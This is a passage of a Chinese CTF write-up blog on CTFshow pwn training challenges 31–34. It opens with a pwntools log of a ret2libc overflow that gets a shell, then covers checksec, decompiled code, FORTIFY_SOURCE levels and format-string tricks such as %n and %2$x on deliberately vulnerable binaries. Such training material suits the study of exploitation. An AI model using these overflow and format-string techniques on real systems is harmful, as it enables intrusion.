│AAAA│·oUV│AAAA│·TUV│</span><br><span class="line">    00000090  1d 56 55 56  01 00 00 00  dc 6f 55 56  04 00 00 00  │·VUV│····│·oUV│····│</span><br><span class="line">    000000a0</span><br><span class="line">[DEBUG] Received 0x4 bytes:</span><br><span class="line">    00000000  80 1b e9 f7                                         │····│</span><br><span class="line">    00000004</span><br><span class="line">/CTFshow_pwn/exp.py:21: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes</span><br><span class="line">  binsh_addr = libc_base + next(libc.search(<span class="string">&#x27;/bin/sh&#x27;</span>))</span><br><span class="line">[DEBUG] Sent 0x98 bytes:</span><br><span class="line">    00000000  42 42 42 42  42 42 42 42  42 42 42 42  42 42 42 42  │BBBB│BBBB│BBBB│BBBB│</span><br><span class="line">    *</span><br><span class="line">    00000080  42 42 42 42  42 42 42 42  42 42 42 42  30 a4 dc f7  │BBBB│BBBB│BBBB│0···│</span><br><span class="line">    00000090  1d 56 55 56  e8 ed f3 f7                            │·VUV│····│</span><br><span class="line">    00000098</span><br><span class="line">[*] Switching to interactive mode</span><br><span class="line">$ <span class="built_in">ls</span></span><br><span class="line">[DEBUG] Sent 0x3 bytes:</span><br><span class="line">    b<span class="string">&#x27;ls\n&#x27;</span></span><br><span class="line">[DEBUG] Received 0xb bytes:</span><br><span class="line">    b<span class="string">&#x27;exp.py\tpwn\n&#x27;</span></span><br><span class="line">exp.pypwn</span><br></pre></td></tr></table></figure><h6 id="分析过程：-14"><a href="#分析过程：-14" class="headerlink" title="分析过程："></a>分析过程：</h6><p>checksec查看保护</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ <span class="built_in">chmod</span> +x pwn</span><br><span class="line">$ checksec pwn</span><br><span class="line">  Arch:       i386-32-little</span><br><span class="line">  RELRO:      Full RELRO</span><br><span class="line">  Stack:      No canary found</span><br><span class="line">  NX:         NX enabled</span><br><span class="line">  PIE:        PIE enabled</span><br><span class="line">  Stripped:   No</span><br></pre></td></tr></table></figure><p>32位程序仅关闭Canary保护</p><p>IDA查看main函数：</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">int</span> __cdecl <span class="title function_">main</span><span class="params">(<span class="type">int</span> argc, <span class="type">const</span> <span class="type">char</span> **argv, <span class="type">const</span> <span class="type">char</span> **envp)</span></span><br><span class="line">&#123;</span><br><span class="line">  setvbuf(<span class="built_in">stdin</span>, <span class="number">0</span>, <span class="number">1</span>, <span class="number">0</span>);</span><br><span class="line">  setvbuf(<span class="built_in">stdout</span>, <span class="number">0</span>, <span class="number">2</span>, <span class="number">0</span>);</span><br><span class="line">  <span class="built_in">printf</span>(<span class="string">&quot;%p\n&quot;</span>, main);</span><br><span class="line">  ctfshow(&amp;argc);</span><br><span class="line">  <span class="built_in">puts</span>(asc_854);</span><br><span class="line">  <span class="built_in">puts</span>(asc_8C8);</span><br><span class="line">  <span class="built_in">puts</span>(asc_944);</span><br><span class="line">  <span class="built_in">puts</span>(asc_9D0);</span><br><span class="line">  <span class="built_in">puts</span>(asc_A60);</span><br><span class="line">  <span class="built_in">puts</span>(asc_AE4);</span><br><span class="line">  <span class="built_in">puts</span>(asc_B78);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;    * *************************************                           &quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(aClassifyCtfsho);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;    * Type  : Linux_Security_Mechanisms                               &quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;    * Site  : https://ctf.show/                                       &quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;    * Hint  : Bypass ALSR &amp; PIE &quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;    * *************************************                           &quot;</span>);</span><br><span class="line">  write(<span class="number">0</span>, <span class="string">&quot;Hello CTFshow!\n&quot;</span>, <span class="number">0xEu</span>);</span><br><span class="line">  <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>可以看到程序先打印出main函数的地址，然后跟进ctfshow函数：</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">ssize_t</span> __cdecl <span class="title function_">ctfshow</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">  _BYTE buf[<span class="number">132</span>]; <span class="comment">// [esp+0h] [ebp-88h] BYREF</span></span><br><span class="line"></span><br><span class="line">  <span class="keyword">return</span> read(<span class="number">0</span>, buf, <span class="number">0x100u</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>同样的，这里还是有溢出，但是开启了保护不同了，使用上一题的exp肯定是打不了了</p><p>既然程序已经给我们main函数的地址了，那么我们就可以通过计算偏移得到程序本身的加载地址</p><p>这也就是与上一题不同的地方</p><h2 id="pwn32"><a href="#pwn32" class="headerlink" title="pwn32"></a>pwn32</h2><p>Hint：FORTIFY_SOURCE&#x3D;0：禁用 Fortify 功能。 不会进行任何额外的安全检查。 可能导致潜在的安全漏洞。ssh <a href="mailto:&#99;&#116;&#102;&#x73;&#104;&#111;&#119;&#64;&#x70;&#x77;&#110;&#46;&#99;&#104;&#97;&#108;&#108;&#x65;&#110;&#103;&#101;&#46;&#x63;&#x74;&#102;&#x2e;&#115;&#104;&#111;&#119;">ctfshow@pwn.challenge.ctf.show</a> -p28177</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">FORTIFY_SOURCE 是一个 C/C++ 编译器提供的安全保护机制，旨在防止缓冲区溢出和其他与字符串和内存操作相关的安全漏洞。它是在编译时自动插入的一组额外代码，用于增强程序对于缓冲区溢出和其他常见安全问题的防护。</span><br><span class="line">FORTIFY_SOURCE 提供了以下主要功能：</span><br><span class="line">1. 运行时长度检查：FORTIFY_SOURCE 会在编译时自动将长度检查代码插入到一些危险的库函数中，例如strcpy 、 strcat 、 sprintf 等。这些代码会检查目标缓冲区的长度，以确保操作不会导致溢出。如果检测到溢出情况，程序会立即终止，从而防止潜在的漏洞利用。</span><br><span class="line">2. 缓冲区溢出检测：FORTIFY_SOURCE 还会将额外的保护机制添加到一些敏感的库函数中，例如 memcpy、memmove 、 memset 等。这些机制可以检测传递给这些函数的源和目标缓冲区是否有重叠，并防止潜在的缓冲区溢出。</span><br><span class="line">3. 安全警告和错误报告：当 FORTIFY_SOURCE 检测到潜在的缓冲区溢出或其他安全问题时，它会生成相应的警告和错误报告。</span><br><span class="line">FORTIFY_SOURCE 提供了一层额外的安全保护，它可以在很大程度上减少常见的缓冲区溢出和字符串操作相关的安全漏洞。</span><br><span class="line">`**运行时检测到溢出会调用 abort() 终止程序，避免漏洞被利用。**`</span><br><span class="line">printf、sprintf、fprintf等）的格式化字符串占位符:</span><br><span class="line">1.%p：以十六进制形式输出指针（内存地址）的值，通常用于调试。</span><br><span class="line">2.%n：不输出内容，而是将当前已输出的字符数写入对应的参数（指针）位置。</span><br><span class="line"> 变种：</span><br><span class="line">%hn：写入 2 字节（short类型）。</span><br><span class="line">%hhn：写入 1 字节（char类型）。</span><br><span class="line">%ln：写入 8 字节（long类型，64 位系统）。</span><br><span class="line">3.%2$x：输出第 2 个参数的值，以十六进制形式表示。</span><br><span class="line">$：指定参数位置（1\(表示第1个参数，2\)表示第 2 个，依此类推）。</span><br><span class="line">x：以小写十六进制输出。</span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ ssh ctfshow@题目地址 -p题目端口号</span><br><span class="line">...</span><br><span class="line">ctfshow@pwn.challenge.ctf.show<span class="string">&#x27;s password: #输入密码 123456 进行连接</span></span><br><span class="line"><span class="string">$ ./pwnme aaaaaa bbbbb ccccc ddddd</span></span><br><span class="line"><span class="string">* ************************************* </span></span><br><span class="line"><span class="string">* Classify: CTFshow --- PWN --- 入门</span></span><br><span class="line"><span class="string">* Type  : Linux_Security_Mechanisms     </span></span><br><span class="line"><span class="string">* Site  : https://ctf.show/    </span></span><br><span class="line"><span class="string">* Hint  : FORTIFY 0 1 2   </span></span><br><span class="line"><span class="string">* ************************************* </span></span><br><span class="line"><span class="string">aaaaaa CTFshowPWN</span></span><br><span class="line"><span class="string">aaaaaa aaaaaa</span></span><br><span class="line"><span class="string">aaaaaa</span></span><br><span class="line"><span class="string">aaaaaa</span></span><br><span class="line"><span class="string">The source code of these three programs is the same, and the results of turning on different levels of protection are understood</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">You should understand the role of these protections!But don&#x27;</span>t just get a flag</span><br><span class="line">Here is your flag:</span><br><span class="line"></span><br><span class="line">ctfshow&#123;...&#125;</span><br></pre></td></tr></table></figure><h6 id="分析过程：-15"><a href="#分析过程：-15" class="headerlink" title="分析过程："></a>分析过程：</h6><p>checksec</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ <span class="built_in">chmod</span> +x pwn</span><br><span class="line">$ checksec pwn</span><br><span class="line">  Arch:       amd64-64-little</span><br><span class="line">  RELRO:      Full RELRO</span><br><span class="line">  Stack:      No canary found</span><br><span class="line">  NX:         NX enabled</span><br><span class="line">  PIE:        PIE enabled</span><br></pre></td></tr></table></figure><p>IDA查看main函数：</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">int</span> __fastcall <span class="title function_">main</span><span class="params">(<span class="type">int</span> argc, <span class="type">const</span> <span class="type">char</span> **argv, <span class="type">const</span> <span class="type">char</span> **envp)</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="type">__gid_t</span> egid; <span class="comment">// eax</span></span><br><span class="line">  <span class="type">const</span> <span class="type">char</span> *v4; <span class="comment">// rax</span></span><br><span class="line">  <span class="type">int</span> n; <span class="comment">// eax</span></span><br><span class="line">  <span class="type">int</span> num; <span class="comment">// [rsp+4h] [rbp-44h] BYREF</span></span><br><span class="line">  <span class="type">char</span> buf2[<span class="number">11</span>]; <span class="comment">// [rsp+Ah] [rbp-3Eh] BYREF</span></span><br><span class="line">  <span class="type">char</span> buf1[<span class="number">11</span>]; <span class="comment">// [rsp+15h] [rbp-33h] BYREF</span></span><br><span class="line"></span><br><span class="line">  egid = getegid();</span><br><span class="line">  setresgid(egid, egid, egid);</span><br><span class="line">  logo();</span><br><span class="line">  v4 = argv[<span class="number">1</span>];</span><br><span class="line">  *(_QWORD *)buf1 = *(_QWORD *)v4;</span><br><span class="line">  *(_WORD *)&amp;buf1[<span class="number">8</span>] = *((_WORD *)v4 + <span class="number">4</span>);</span><br><span class="line">  buf1[<span class="number">10</span>] = v4[<span class="number">10</span>];</span><br><span class="line">  <span class="built_in">strcpy</span>(buf2, <span class="string">&quot;CTFshowPWN&quot;</span>);</span><br><span class="line">  <span class="built_in">printf</span>(<span class="string">&quot;%s %s\n&quot;</span>, buf1, buf2);</span><br><span class="line">  n = strtol(argv[<span class="number">3</span>], <span class="number">0</span>, <span class="number">10</span>);</span><br><span class="line">  <span class="built_in">memcpy</span>(buf1, argv[<span class="number">2</span>], n);</span><br><span class="line">  <span class="built_in">strcpy</span>(buf2, argv[<span class="number">1</span>]);</span><br><span class="line">  <span class="built_in">printf</span>(<span class="string">&quot;%s %s\n&quot;</span>, buf1, buf2);</span><br><span class="line">  fgets(buf1, <span class="number">11</span>, _bss_start);</span><br><span class="line">  <span class="built_in">printf</span>(buf1, &amp;num);</span><br><span class="line">  <span class="keyword">if</span> ( argc &gt; <span class="number">4</span> )</span><br><span class="line">    Undefined();</span><br><span class="line">  <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>显然，第一题关闭了此保护，输入的argv1明显会导致buf1溢出，但是程序仍可以正常运行：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ ./pwn aaaaaaaaaaaa bbbbbbbbbbbb 6</span><br><span class="line">    * *************************************</span><br><span class="line">    * Classify: CTFshow --- PWN --- 入门</span><br><span class="line">    * Type  : Linux_Security_Mechanisms</span><br><span class="line">    * Site  : https://ctf.show/</span><br><span class="line">    * Hint  : FORTIFY 0 1 2</span><br><span class="line">    * *************************************</span><br><span class="line">aaaaaaaaaaa CTFshowPWN</span><br><span class="line">a aaaaaaaaaaaa</span><br><span class="line">%2<span class="variable">$x</span></span><br><span class="line">fbad2288</span><br></pre></td></tr></table></figure><p>而在本题需要获取flag，仅仅需要关注到最后的Undefined函数：</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">.text:000000000000092A                 public Undefined</span><br><span class="line">.text:000000000000092A Undefined       proc near               ; CODE XREF: main+117↓p</span><br><span class="line">.text:000000000000092A</span><br><span class="line">.text:000000000000092A flag            = byte ptr -48h</span><br><span class="line">.text:000000000000092A</span><br><span class="line">.text:000000000000092A ; __unwind &#123;</span><br><span class="line">.text:000000000000092A                 push    rbx</span><br><span class="line">.text:000000000000092B                 sub     rsp, 40h</span><br><span class="line">.text:000000000000092F                 lea     rdi, s          ; &quot;The source code of these three programs&quot;...</span><br><span class="line">.text:0000000000000936                 call    _puts</span><br><span class="line">.text:000000000000093B                 lea     rdi, aYouShouldUnder ; &quot;You should understand the role of these&quot;...</span><br><span class="line">.text:0000000000000942                 call    _puts</span><br><span class="line">.text:0000000000000947                 lea     rsi, modes      ; &quot;r&quot;</span><br><span class="line">.text:000000000000094E                 lea     rdi, filename   ; &quot;/ctfshow_flag&quot;</span><br><span class="line">.text:0000000000000955                 call    _fopen</span><br><span class="line">.text:000000000000095A f = rax                                 ; FILE *</span><br><span class="line">.text:000000000000095A                 test    f, f</span><br><span class="line">.text:000000000000095D                 jz      short loc_980</span><br><span class="line">.text:000000000000095F                 mov     rbx, rsp</span><br><span class="line">.text:0000000000000962                 mov     rdx, f          ; stream</span><br><span class="line">.text:0000000000000965                 mov     esi, 40h ; &#x27;@&#x27;  ; n</span><br><span class="line">.text:000000000000096A                 mov     rdi, rbx        ; s</span><br><span class="line">.text:000000000000096D                 call    _fgets</span><br><span class="line">.text:0000000000000972                 mov     rdi, rbx        ; s</span><br><span class="line">.text:0000000000000975                 call    _puts</span><br><span class="line">.text:000000000000097A                 add     rsp, 40h</span><br><span class="line">.text:000000000000097E                 pop     rbx</span><br><span class="line">.text:000000000000097F                 retn</span><br><span class="line">.text:0000000000000980 ; ---------------------------------------------------------------------------</span><br><span class="line">.text:0000000000000980</span><br><span class="line">.text:0000000000000980 loc_980:                                ; CODE XREF: Undefined+33↑j</span><br><span class="line">.text:0000000000000980 f = rax                                 ; FILE *</span><br><span class="line">.text:0000000000000980                 lea     rdi, aCtfshowFlagNoS ; &quot;/ctfshow_flag: No such file or director&quot;...</span><br><span class="line">.text:0000000000000987                 call    _puts</span><br><span class="line">.text:000000000000098C                 mov     edi, 0          ; status</span><br><span class="line">.text:0000000000000991                 call    _exit</span><br><span class="line">.text:0000000000000991 ; &#125; // starts at 92A</span><br><span class="line">.text:0000000000000991 Undefined       endp</span><br></pre></td></tr></table></figure><p>同样的它将flag打开并打印出来</p><p>这里仅仅有一个判断你输入的参数是否大于4，当大于4时即可拿到flag</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ ./pwn aaaaaaaaaaaa bbbbbbbbbbbb 6 flag</span><br><span class="line">    * *************************************</span><br><span class="line">    * Classify: CTFshow --- PWN --- 入门</span><br><span class="line">    * Type  : Linux_Security_Mechanisms</span><br><span class="line">    * Site  : https://ctf.show/</span><br><span class="line">    * Hint  : FORTIFY 0 1 2</span><br><span class="line">    * *************************************</span><br><span class="line">aaaaaaaaaaa CTFshowPWN</span><br><span class="line">a aaaaaaaaaaaa</span><br><span class="line">%p</span><br><span class="line">0x7fffffffe354</span><br><span class="line">The <span class="built_in">source</span> code of these three programs is the same, and the results of turning on different levels of protection are understood</span><br><span class="line"></span><br><span class="line">You should understand the role of these protections!But don<span class="string">&#x27;t just get a flag</span></span><br><span class="line"><span class="string">Here is your flag:</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">flag&#123;just_test_my_process&#125;#本地flag</span></span><br></pre></td></tr></table></figure><h2 id="pwn33"><a href="#pwn33" class="headerlink" title="pwn33"></a>pwn33</h2><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">Hint：FORTIFY_SOURCE=1：启用 Fortify 功能的基本级别。 在编译时进行一些安全检查，如缓冲区边界检查、格式化字符串检查等。在运行时进行某些检查，如检测函数返回值和大小的一致性。 如果检测到潜在的安全问题，会触发运行时错误，并终止程序执行。</span><br><span class="line"> ssh ctfshow@pwn.challenge.ctf.show -p28177</span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ ssh ctfshow@题目地址 -p题目端口号</span><br><span class="line">...</span><br><span class="line">ctfshow@pwn.challenge.ctf.show<span class="string">&#x27;s password: #输入密码 123456 进行连接</span></span><br><span class="line"><span class="string">$ ./pwnme aaaaaaaa bbbbbbbb ccccccc 6 flag</span></span><br><span class="line"><span class="string">* ************************************* </span></span><br><span class="line"><span class="string">* Classify: CTFshow --- PWN --- 入门</span></span><br><span class="line"><span class="string">* Type  : Linux_Security_Mechanisms     </span></span><br><span class="line"><span class="string">* Site  : https://ctf.show/    </span></span><br><span class="line"><span class="string">* Hint  : FORTIFY 0 1 2   </span></span><br><span class="line"><span class="string">* ************************************* </span></span><br><span class="line"><span class="string">aaaaaaaa CTFshowPWN</span></span><br><span class="line"><span class="string">aaaaaaaa aaaaaaaa</span></span><br><span class="line"><span class="string">flag</span></span><br><span class="line"><span class="string">flag</span></span><br><span class="line"><span class="string">The source code these three programs is the same, and the results of turning on different levels of protection are understood</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">You should understand the role of these protections!But don&#x27;</span>t just get a flag</span><br><span class="line">Here is your flag:</span><br><span class="line"></span><br><span class="line">ctfshow&#123;...&#125;</span><br></pre></td></tr></table></figure><h6 id="分析过程：-16"><a href="#分析过程：-16" class="headerlink" title="分析过程："></a>分析过程：</h6><p>FORTIFY_SOURCE&#x3D;1：</p><p>checksec</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ <span class="built_in">chmod</span> +x pwn</span><br><span class="line">$ checksec pwn</span><br><span class="line">  Arch:       amd64-64-little</span><br><span class="line">  RELRO:      Full RELRO</span><br><span class="line">  Stack:      No canary found</span><br><span class="line">  NX:         NX enabled</span><br><span class="line">  PIE:        PIE enabled</span><br><span class="line">  FORTIFY:    Enabled  </span><br></pre></td></tr></table></figure><p>可以看到现在检测到开启了FORTIFY保护了</p><p>IDA查看源码：</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">int</span> __fastcall <span class="title function_">main</span><span class="params">(<span class="type">int</span> argc, <span class="type">const</span> <span class="type">char</span> **argv, <span class="type">const</span> <span class="type">char</span> **envp)</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="type">__gid_t</span> egid; <span class="comment">// eax</span></span><br><span class="line">  <span class="type">const</span> <span class="type">char</span> *v4; <span class="comment">// rax</span></span><br><span class="line">  <span class="type">int</span> v5; <span class="comment">// eax</span></span><br><span class="line">  <span class="type">int</span> num; <span class="comment">// [rsp+4h] [rbp-44h] BYREF</span></span><br><span class="line">  <span class="type">char</span> buf2[<span class="number">11</span>]; <span class="comment">// [rsp+Ah] [rbp-3Eh] BYREF</span></span><br><span class="line">  <span class="type">char</span> buf1[<span class="number">11</span>]; <span class="comment">// [rsp+15h] [rbp-33h] BYREF</span></span><br><span class="line"></span><br><span class="line">  egid = getegid();</span><br><span class="line">  setresgid(egid, egid, egid);</span><br><span class="line">  logo();</span><br><span class="line">  v4 = argv[<span class="number">1</span>];</span><br><span class="line">  *(_QWORD *)buf1 = *(_QWORD *)v4;</span><br><span class="line">  *(_WORD *)&amp;buf1[<span class="number">8</span>] = *((_WORD *)v4 + <span class="number">4</span>);</span><br><span class="line">  buf1[<span class="number">10</span>] = v4[<span class="number">10</span>];</span><br><span class="line">  <span class="built_in">strcpy</span>(buf2, <span class="string">&quot;CTFshowPWN&quot;</span>);</span><br><span class="line">  <span class="built_in">printf</span>(<span class="string">&quot;%s %s\n&quot;</span>, buf1, buf2);</span><br><span class="line">  v5 = strtol(argv[<span class="number">3</span>], <span class="number">0</span>, <span class="number">10</span>);</span><br><span class="line">  __memcpy_chk(buf1, argv[<span class="number">2</span>], v5, <span class="number">11</span>);</span><br><span class="line">  __strcpy_chk(buf2, argv[<span class="number">1</span>], <span class="number">11</span>);</span><br><span class="line">  <span class="built_in">printf</span>(<span class="string">&quot;%s %s\n&quot;</span>, buf1, buf2);</span><br><span class="line">  fgets(buf1, <span class="number">11</span>, _bss_start);</span><br><span class="line">  <span class="built_in">printf</span>(buf1, &amp;num);</span><br><span class="line">  <span class="keyword">if</span> ( argc &gt; <span class="number">4</span> )</span><br><span class="line">    Undefined();</span><br><span class="line">  <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>可以看到之前的一些危险函数已经被替换成了安全函数，并且在程序运行时进行检查，此时传入的</p><p>argv1就触发了检查，抛出异常。同时格式化字符串%2$x和%n依旧可用：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ ./pwn aaaaaaaaa bbbbbbbbbbbb 6</span><br><span class="line"></span><br><span class="line">    * *************************************</span><br><span class="line">    * Classify: CTFshow --- PWN --- 入门</span><br><span class="line">    * Type  : Linux_Security_Mechanisms</span><br><span class="line">    * Site  : https://ctf.show/</span><br><span class="line">    * Hint  : FORTIFY 0 1 2</span><br><span class="line">    * *************************************</span><br><span class="line">aaaaaaaaa CTFshowPWN</span><br><span class="line">bbbbbbaaa aaaaaaaaa</span><br><span class="line">%n</span><br><span class="line"></span><br><span class="line">$ ./pwn aaaaaaaaa bbbbbbbbbbbb 6</span><br><span class="line">    * *************************************</span><br><span class="line">    * Classify: CTFshow --- PWN --- 入门</span><br><span class="line">    * Type  : Linux_Security_Mechanisms</span><br><span class="line">    * Site  : https://ctf.show/</span><br><span class="line">    * Hint  : FORTIFY 0 1 2</span><br><span class="line">    * *************************************</span><br><span class="line">aaaaaaaaa CTFshowPWN</span><br><span class="line">bbbbbbaaa aaaaaaaaa</span><br><span class="line">%2<span class="variable">$x</span></span><br><span class="line">fbad2288</span><br></pre></td></tr></table></figure><h2 id="pwn34"><a href="#pwn34" class="headerlink" title="pwn34"></a>pwn34</h2><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">Hint：FORTIFY_SOURCE=2：启用 Fortify 功能的高级级别。 包括基本级别的安全检查，并添加了更多的检查。在编译时进行更严格的检查，如更精确的缓冲区边界检查。 提供更丰富的编译器警告和错误信息。</span><br><span class="line"> ssh ctfshow@pwn.challenge.ctf.show -p28177</span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ ssh ctfshow@题目地址 -p题目端口号</span><br><span class="line">...</span><br><span class="line">ctfshow@pwn.challenge.ctf.show<span class="string">&#x27;s password: #输入密码 123456 进行连接</span></span><br><span class="line"><span class="string">$ $ ./pwnme aaaaa bbbbb ccccc 6 flag</span></span><br><span class="line"><span class="string">    * *************************************</span></span><br><span class="line"><span class="string">    * Classify: CTFshow --- PWN --- 入门</span></span><br><span class="line"><span class="string">    * Type  : Linux_Security_Mechanisms</span></span><br><span class="line"><span class="string">    * Site  : https://ctf.show/</span></span><br><span class="line"><span class="string">    * Hint  : FORTIFY 0 1 2</span></span><br><span class="line"><span class="string">    * *************************************</span></span><br><span class="line"><span class="string">aaaaa CTFshowPWN</span></span><br><span class="line"><span class="string">aaaaa aaaaa</span></span><br><span class="line"><span class="string">flag</span></span><br><span class="line"><span class="string">flag</span></span><br><span class="line"><span class="string">The source code of these three programs is the same, and the results of turning on different levels of protection are understood</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">You should understand the role of these protections!But don&#x27;</span>t just get a flag</span><br><span class="line">Here is your flag:</span><br><span class="line"></span><br><span class="line">flag&#123;just_test_my_process&#125;</span><br></pre></td></tr></table></figure><h6 id="分析过程：-17"><a href="#分析过程：-17" class="headerlink" title="分析过程："></a>分析过程：</h6><p>FORTIFY_SOURCE&#x3D;2：</p><p>checksec</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ checksec pwn</span><br><span class="line">  Arch:       amd64-64-little</span><br><span class="line">  RELRO:      Full RELRO</span><br><span class="line">  Stack:      No canary found</span><br><span class="line">  NX:         NX enabled</span><br><span class="line">  PIE:        PIE enabled</span><br><span class="line">  FORTIFY:    Enabled</span><br><span class="line">  Stripped:   No</span><br><span class="line">  Debuginfo:  Yes</span><br></pre></td></tr></table></figure><p>开启了FORTIFY保护，这次等级为2，在这无法体现出</p><p>IDA查看main函数：</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">int</span> __fastcall <span class="title function_">main</span><span class="params">(<span class="type">int</span> argc, <span class="type">const</span> <span class="type">char</span> **argv, <span class="type">const</span> <span class="type">char</span> **envp)</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="type">const</span> <span class="type">char</span> *v3; <span class="comment">// rax</span></span><br><span class="line">  <span class="type">int</span> v4; <span class="comment">// eax</span></span><br><span class="line">  <span class="type">int</span> num; <span class="comment">// [rsp+4h] [rbp-34h] BYREF</span></span><br><span class="line">  <span class="type">char</span> buf2[<span class="number">11</span>]; <span class="comment">// [rsp+Ah] [rbp-2Eh] BYREF</span></span><br><span class="line">  <span class="type">char</span> buf1[<span class="number">11</span>]; <span class="comment">// [rsp+15h] [rbp-23h] BYREF</span></span><br><span class="line"></span><br><span class="line">  logo();</span><br><span class="line">  v3 = argv[<span class="number">1</span>];</span><br><span class="line">  *(_QWORD *)buf1 = *(_QWORD *)v3;</span><br><span class="line">  *(_WORD *)&amp;buf1[<span class="number">8</span>] = *((_WORD *)v3 + <span class="number">4</span>);</span><br><span class="line">  buf1[<span class="number">10</span>] = v3[<span class="number">10</span>];</span><br><span class="line">  <span class="built_in">strcpy</span>(buf2, <span class="string">&quot;CTFshowPWN&quot;</span>);</span><br><span class="line">  __printf_chk(<span class="number">1</span>, <span class="string">&quot;%s %s\n&quot;</span>, buf1, buf2);</span><br><span class="line">  v4 = strtol(argv[<span class="number">3</span>], <span class="number">0</span>, <span class="number">10</span>);</span><br><span class="line">  __memcpy_chk(buf1, argv[<span class="number">2</span>], v4, <span class="number">11</span>);</span><br><span class="line">  __strcpy_chk(buf2, argv[<span class="number">1</span>], <span class="number">11</span>);</span><br><span class="line">  __printf_chk(<span class="number">1</span>, <span class="string">&quot;%s %s\n&quot;</span>, buf1, buf2);</span><br><span class="line">  fgets(buf1, <span class="number">11</span>, _bss_start);</span><br><span class="line">  __printf_chk(<span class="number">1</span>, buf1, &amp;num);</span><br><span class="line">  Undefined();</span><br><span class="line">  <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>在IDA中能看到将printf函数也替换成了安全函数，那么格式化字符串%n也无法利用了，而%N$也</p><p>要从%1$开始连续才可用：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ ./pwn aaaaaaaaa bbbbbbbbbbbb 6</span><br><span class="line">    * *************************************</span><br><span class="line">    * Classify: CTFshow --- PWN --- 入门</span><br><span class="line">    * Type  : Linux_Security_Mechanisms</span><br><span class="line">    * Site  : https://ctf.show/</span><br><span class="line">    * Hint  : FORTIFY 0 1 2</span><br><span class="line">    * *************************************</span><br><span class="line">aaaaaaaaa CTFshowPWN</span><br><span class="line">bbbbbbaaa aaaaaaaaa</span><br><span class="line">%n</span><br><span class="line">*** %n <span class="keyword">in</span> writable segment detected ***</span><br><span class="line">Aborted (core dumped)</span><br><span class="line">$ ./pwn aaaaaaaaa bbbbbbbbbbbb 6</span><br><span class="line">    * *************************************</span><br><span class="line">    * Classify: CTFshow --- PWN --- 入门</span><br><span class="line">    * Type  : Linux_Security_Mechanisms</span><br><span class="line">    * Site  : https://ctf.show/</span><br><span class="line">    * Hint  : FORTIFY 0 1 2</span><br><span class="line">    * *************************************</span><br><span class="line">aaaaaaaaa CTFshowPWN</span><br><span class="line">bbbbbbaaa aaaaaaaaa</span><br><span class="line">%2<span class="variable">$x</span></span><br><span class="line">*** invalid %N$ use detected ***</span><br><span class="line">Aborted (core dumped)</span><br><span class="line">$ ./pwn aaaaaaaaa bbbbbbbbbbbb 6</span><br><span class="line">    * *************************************</span><br><span class="line">    * Classify: CTFshow --- PWN --- 入门</span><br><span class="line">    * Type  : Linux_Security_Mechanisms</span><br><span class="line">    * Site  : https://ctf.show/</span><br><span class="line">    * Hint  : FORTIFY 0 1 2</span><br><span class="line">    * *************************************</span><br><span class="line">aaaaaaaaa CTFshowPWN</span><br><span class="line">bbbbbbaaa aaaaaaaaa</span><br><span class="line">%2<span class="variable">$x</span>%1<span class="variable">$x</span></span><br><span class="line">25782432ffffe384</span><br><span class="line">The <span class="built_in">source</span> code of these three programs is the same, and the results of turning on different levels of protection are understood</span><br><span class="line"></span><br><span class="line">You should understand the role of these protections!But don<span class="string">&#x27;t just get a flag</span></span><br><span class="line"><span class="string">Here is your flag:</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">flag&#123;just_test_my_process&#125;</span></span><br></pre></td></tr></table></figure>]]></content>
    
    
      
      
    <summary type="html">&lt;p&gt;本分类为让大家了解一些寄存器、寻址方式&lt;/p&gt;
&lt;p&gt;汇编代码：&lt;/p&gt;
&lt;figure class=&quot;highlight plaintext&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;section .dat</summary>
      
    
    
    
